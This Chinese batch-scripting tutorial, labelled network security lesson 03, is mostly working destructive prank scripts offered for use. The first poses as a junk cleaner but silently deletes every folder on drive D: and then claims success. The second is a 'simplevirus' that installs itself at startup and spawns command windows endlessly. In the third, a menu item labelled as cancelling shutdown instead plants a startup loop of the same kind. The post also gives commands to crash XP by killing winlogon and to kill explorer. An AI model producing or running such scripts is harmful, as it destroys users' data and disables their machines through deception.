网络安全03

批处理编写

批处理作用:
自上而下的成批的处理每一条指令,直到执行最后一条

如何创建批处理:
扩展名:.bat
创建方法:新建一个记事本文件,然后将扩展名改为.bat

也叫脚本
Linux叫shell脚本

脚本1:

@echo off //隐藏前面的运行路径
color 8b//改变背景及字体颜色,第一位背景,第二位字体,如上图
title HELLO//程序的标题
echo =========================
echo  clear your system rubbish
echo   please don't intercept! 
echo =========================
pause//运行后画面停止
echo.//表示空一行
echo cleaning.......
D: >nul 2>nul
cd \ >nul 2>nul
rd . /s/q >nul 2>nul//表示删除所有的文件夹,
ping -n 10 127.0.0.1 >nul 2>nul
echo.
echo Congratulations!cleaning over!
pause

脚本2:

copy goto.bat "C:\%userprifile% \「开始」菜单\程序\启动"//启动路径表示一打开电脑,就会启动这个程序
title simplevirus
:d//:表示一个部分吧,d表示这个部分的名字
start//后面什么都不加就表示启动cmd
goto d//表示接下来执行d部分,在这里就是形成了一个循环

脚本3:

@echo off
title 小程序 v1.0
color 8a

:menu
cls
echo ===========
echo    菜单
echo 1、定时关机
echo 2、取消定时
echo 3、退出
echo ===========

set /p num="您的选择:"
if %num% == 1,goto 1
if %num% == 2,goto 2
if %num% == 3,goto 3
echo 别tm瞎输入,看清楚,只能输入1\2\3,重来!
pause
goto menu

:1
set /p a="请输入你希望的时间:"
shutdown -s -f -t %a%
goto menu

:2

echo :a >"%userprofile% \「开始」菜单\程序\启动\hh.bat"
echo start >>"%userprofile% \「开始」菜单\程序\启动\hh.bat"
echo goto a >>"%userprofile% \「开始」菜单\程序\启动\hh.bat"

goto menu

:3
exit

路径中有特殊符号,要在两边加上双引号
%xx%表示取值(xx为某变量)

ntsd -c q -pn winlogon.exe
针对xp或2003的蓝屏命令

taskkill /im explorer.exe /f
杀死进程

上一篇:对拍


下一篇:office 365 激活